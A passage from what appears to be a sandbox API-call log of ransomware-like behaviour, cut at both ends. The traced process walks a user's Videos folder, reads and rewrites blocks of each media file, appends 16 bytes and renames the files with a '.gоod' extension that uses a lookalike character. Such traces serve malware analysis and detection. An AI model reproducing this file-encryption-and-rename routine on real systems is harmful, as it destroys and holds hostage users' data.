lpOldMode=0x1f9eddd0) returned 1 [0163.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0163.812] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be", lpFilePart=0x0) returned 0x22 [0163.812] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85379b30, ftCreationTime.dwHighDateTime=0x1d4c969, ftLastAccessTime.dwLowDateTime=0xf4052710, ftLastAccessTime.dwHighDateTime=0x1d4cb69, ftLastWriteTime.dwLowDateTime=0xf4052710, ftLastWriteTime.dwHighDateTime=0x1d4cb69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0163.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85379b30, ftCreationTime.dwHighDateTime=0x1d4c969, ftLastAccessTime.dwLowDateTime=0xf4052710, ftLastAccessTime.dwHighDateTime=0x1d4cb69, ftLastWriteTime.dwLowDateTime=0xf4052710, ftLastWriteTime.dwHighDateTime=0x1d4cb69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.812] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ac46b00, ftCreationTime.dwHighDateTime=0x1d4d0ed, ftLastAccessTime.dwLowDateTime=0x97d0b40, ftLastAccessTime.dwHighDateTime=0x1d4c86c, ftLastWriteTime.dwLowDateTime=0x97d0b40, ftLastWriteTime.dwHighDateTime=0x1d4c86c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4hoxeQoMpAG", cAlternateFileName="4HOXEQ~1")) returned 1 [0163.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71fb930, ftCreationTime.dwHighDateTime=0x1d4c6a3, ftLastAccessTime.dwLowDateTime=0xd054aa10, ftLastAccessTime.dwHighDateTime=0x1d4c9da, ftLastWriteTime.dwLowDateTime=0xd054aa10, ftLastWriteTime.dwHighDateTime=0x1d4c9da, nFileSizeHigh=0x0, nFileSizeLow=0xebc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Sg510vT.flv", cAlternateFileName="")) returned 1 [0163.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b0770a0, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0xbe859e70, ftLastAccessTime.dwHighDateTime=0x1d4c5d9, ftLastWriteTime.dwLowDateTime=0xbe859e70, ftLastWriteTime.dwHighDateTime=0x1d4c5d9, nFileSizeHigh=0x0, nFileSizeLow=0xd42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d 1_UCv2zkR.mp4", cAlternateFileName="D1_UCV~1.MP4")) returned 1 [0163.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfdb4c50, ftCreationTime.dwHighDateTime=0x1d4cb43, ftLastAccessTime.dwLowDateTime=0x7413fa50, ftLastAccessTime.dwHighDateTime=0x1d4cc85, ftLastWriteTime.dwLowDateTime=0x7413fa50, ftLastWriteTime.dwHighDateTime=0x1d4cc85, nFileSizeHigh=0x0, nFileSizeLow=0x11f71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MwdSnU_w y.avi", cAlternateFileName="MWDSNU~1.AVI")) returned 1 [0163.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0be6650, ftCreationTime.dwHighDateTime=0x1d4d22e, ftLastAccessTime.dwLowDateTime=0x7e97b4e0, ftLastAccessTime.dwHighDateTime=0x1d4c874, ftLastWriteTime.dwLowDateTime=0x7e97b4e0, ftLastWriteTime.dwHighDateTime=0x1d4c874, nFileSizeHigh=0x0, nFileSizeLow=0x7b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxjdThwDv2nqDbJee0.swf", cAlternateFileName="MXJDTH~1.SWF")) returned 1 [0163.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89300af0, ftCreationTime.dwHighDateTime=0x1d4c5fa, ftLastAccessTime.dwLowDateTime=0x6d2e01b0, ftLastAccessTime.dwHighDateTime=0x1d4d11f, ftLastWriteTime.dwLowDateTime=0x6d2e01b0, ftLastWriteTime.dwHighDateTime=0x1d4d11f, nFileSizeHigh=0x0, nFileSizeLow=0x138da, dwReserved0=0x0, dwReserved1=0x0, cFileName="O9_KScJ.mkv", cAlternateFileName="")) returned 1 [0163.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4d91470, ftCreationTime.dwHighDateTime=0x1d4d0ca, ftLastAccessTime.dwLowDateTime=0xdf3b9690, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0xdf3b9690, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDnrnw9vhNCZQ73n", cAlternateFileName="PDNRNW~1")) returned 1 [0163.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6962a0, ftCreationTime.dwHighDateTime=0x1d4d553, ftLastAccessTime.dwLowDateTime=0x36869fc0, ftLastAccessTime.dwHighDateTime=0x1d4cce0, ftLastWriteTime.dwLowDateTime=0x36869fc0, ftLastWriteTime.dwHighDateTime=0x1d4cce0, nFileSizeHigh=0x0, nFileSizeLow=0x55ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="R3W8zRKZX 805xAX1a.avi", cAlternateFileName="R3W8ZR~1.AVI")) returned 1 [0163.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13820f60, ftCreationTime.dwHighDateTime=0x1d4d0d1, ftLastAccessTime.dwLowDateTime=0xdb410670, ftLastAccessTime.dwHighDateTime=0x1d4c977, ftLastWriteTime.dwLowDateTime=0xdb410670, ftLastWriteTime.dwHighDateTime=0x1d4c977, nFileSizeHigh=0x0, nFileSizeLow=0x151fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScQNTRYIbmB.flv", cAlternateFileName="SCQNTR~1.FLV")) returned 1 [0163.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853aa2a0, ftCreationTime.dwHighDateTime=0x1d4d394, ftLastAccessTime.dwLowDateTime=0x50ff9190, ftLastAccessTime.dwHighDateTime=0x1d4c9ca, ftLastWriteTime.dwLowDateTime=0x50ff9190, ftLastWriteTime.dwHighDateTime=0x1d4c9ca, nFileSizeHigh=0x0, nFileSizeLow=0x17b81, dwReserved0=0x0, dwReserved1=0x0, cFileName="sQ836 S lnpHgRZk.avi", cAlternateFileName="SQ836S~1.AVI")) returned 1 [0163.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84157860, ftCreationTime.dwHighDateTime=0x1d4ca24, ftLastAccessTime.dwLowDateTime=0xd9f146a0, ftLastAccessTime.dwHighDateTime=0x1d4c903, ftLastWriteTime.dwLowDateTime=0xd9f146a0, ftLastWriteTime.dwHighDateTime=0x1d4c903, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="T5GZUY.avi", cAlternateFileName="")) returned 1 [0163.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b40a0, ftCreationTime.dwHighDateTime=0x1d4d340, ftLastAccessTime.dwLowDateTime=0x80b231f0, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x80b231f0, ftLastWriteTime.dwHighDateTime=0x1d4cc0d, nFileSizeHigh=0x0, nFileSizeLow=0x16e81, dwReserved0=0x0, dwReserved1=0x0, cFileName="xoNDdnkZNe_yaYM4d.avi", cAlternateFileName="XONDDN~1.AVI")) returned 1 [0163.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b40a0, ftCreationTime.dwHighDateTime=0x1d4d340, ftLastAccessTime.dwLowDateTime=0x80b231f0, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x80b231f0, ftLastWriteTime.dwHighDateTime=0x1d4cc0d, nFileSizeHigh=0x0, nFileSizeLow=0x16e81, dwReserved0=0x0, dwReserved1=0x0, cFileName="xoNDdnkZNe_yaYM4d.avi", cAlternateFileName="XONDDN~1.AVI")) returned 0 [0163.814] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0163.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0163.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0163.815] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", lpFilePart=0x0) returned 0x2f [0163.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0163.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\9sg510vt.flv"), fInfoLevelId=0x0, lpFileInformation=0x3431760 | out: lpFileInformation=0x3431760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71fb930, ftCreationTime.dwHighDateTime=0x1d4c6a3, ftLastAccessTime.dwLowDateTime=0xd054aa10, ftLastAccessTime.dwHighDateTime=0x1d4c9da, ftLastWriteTime.dwLowDateTime=0xd054aa10, ftLastWriteTime.dwHighDateTime=0x1d4c9da, nFileSizeHigh=0x0, nFileSizeLow=0xebc8)) returned 1 [0163.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0163.815] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", lpFilePart=0x0) returned 0x2f [0163.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\9sg510vt.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.815] GetFileType (hFile=0x61c) returned 0x1 [0163.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.815] GetFileType (hFile=0x61c) returned 0x1 [0163.815] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0163.815] ReadFile (in: hFile=0x61c, lpBuffer=0x3431b18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3431b18*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0163.815] CloseHandle (hObject=0x61c) returned 1 [0163.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", lpFilePart=0x0) returned 0x2f [0163.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\9sg510vt.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.816] GetFileType (hFile=0x61c) returned 0x1 [0163.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.816] GetFileType (hFile=0x61c) returned 0x1 [0163.816] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xebc8 [0163.816] WriteFile (in: hFile=0x61c, lpBuffer=0x3432d80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3432d80*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0163.816] CloseHandle (hObject=0x61c) returned 1 [0163.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", lpFilePart=0x0) returned 0x2f [0163.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\9sg510vt.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.816] GetFileType (hFile=0x61c) returned 0x1 [0163.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.816] GetFileType (hFile=0x61c) returned 0x1 [0163.817] ReadFile (in: hFile=0x61c, lpBuffer=0x3435010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3435010*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0163.851] CloseHandle (hObject=0x61c) returned 1 [0163.851] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", lpFilePart=0x0) returned 0x2f [0163.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\9sg510vt.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.858] GetFileType (hFile=0x61c) returned 0x1 [0163.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.858] GetFileType (hFile=0x61c) returned 0x1 [0163.858] WriteFile (in: hFile=0x61c, lpBuffer=0x3433d98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3433d98*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0163.859] CloseHandle (hObject=0x61c) returned 1 [0163.859] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv", lpFilePart=0x0) returned 0x2f [0163.859] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv.gоod", lpFilePart=0x0) returned 0x34 [0163.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0163.859] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\9sg510vt.flv"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71fb930, ftCreationTime.dwHighDateTime=0x1d4c6a3, ftLastAccessTime.dwLowDateTime=0xd054aa10, ftLastAccessTime.dwHighDateTime=0x1d4c9da, ftLastWriteTime.dwLowDateTime=0x5de17fa6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xebd8)) returned 1 [0163.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0163.859] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\9sg510vt.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\9Sg510vT.flv.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\9sg510vt.flv.gоod")) returned 1 [0163.860] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", lpFilePart=0x0) returned 0x32 [0163.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0163.860] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\d 1_ucv2zkr.mp4"), fInfoLevelId=0x0, lpFileInformation=0x34c6680 | out: lpFileInformation=0x34c6680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b0770a0, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0xbe859e70, ftLastAccessTime.dwHighDateTime=0x1d4c5d9, ftLastWriteTime.dwLowDateTime=0xbe859e70, ftLastWriteTime.dwHighDateTime=0x1d4c5d9, nFileSizeHigh=0x0, nFileSizeLow=0xd42d)) returned 1 [0163.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0163.860] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", lpFilePart=0x0) returned 0x32 [0163.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.860] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\d 1_ucv2zkr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.861] GetFileType (hFile=0x61c) returned 0x1 [0163.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.861] GetFileType (hFile=0x61c) returned 0x1 [0163.861] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0163.861] ReadFile (in: hFile=0x61c, lpBuffer=0x34c6a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x34c6a48*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0163.861] CloseHandle (hObject=0x61c) returned 1 [0163.861] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", lpFilePart=0x0) returned 0x32 [0163.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.861] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\d 1_ucv2zkr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.861] GetFileType (hFile=0x61c) returned 0x1 [0163.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.861] GetFileType (hFile=0x61c) returned 0x1 [0163.861] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xd42d [0163.862] WriteFile (in: hFile=0x61c, lpBuffer=0x34c7cb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x34c7cb8*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0163.862] CloseHandle (hObject=0x61c) returned 1 [0163.862] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", lpFilePart=0x0) returned 0x32 [0163.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\d 1_ucv2zkr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.862] GetFileType (hFile=0x61c) returned 0x1 [0163.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.862] GetFileType (hFile=0x61c) returned 0x1 [0163.862] ReadFile (in: hFile=0x61c, lpBuffer=0x34c9f50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x34c9f50*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0164.513] CloseHandle (hObject=0x61c) returned 1 [0164.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", lpFilePart=0x0) returned 0x32 [0164.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0164.513] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\d 1_ucv2zkr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0164.513] GetFileType (hFile=0x61c) returned 0x1 [0164.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0164.513] GetFileType (hFile=0x61c) returned 0x1 [0164.513] WriteFile (in: hFile=0x61c, lpBuffer=0x332a480*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x332a480*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0164.514] CloseHandle (hObject=0x61c) returned 1 [0164.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4", lpFilePart=0x0) returned 0x32 [0164.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4.gоod", lpFilePart=0x0) returned 0x37 [0164.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0164.514] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\d 1_UCv2zkR.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\d 1_ucv2zkr.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b0770a0, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0xbe859e70, ftLastAccessTime.dwHighDateTime=0x1d4c5d9, ftLastWriteTime.dwLowDateTime=0x5e45a32f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd43d)) returned 1 [0164.514] SetThreadErrorMode (dwNewMode=0x0, 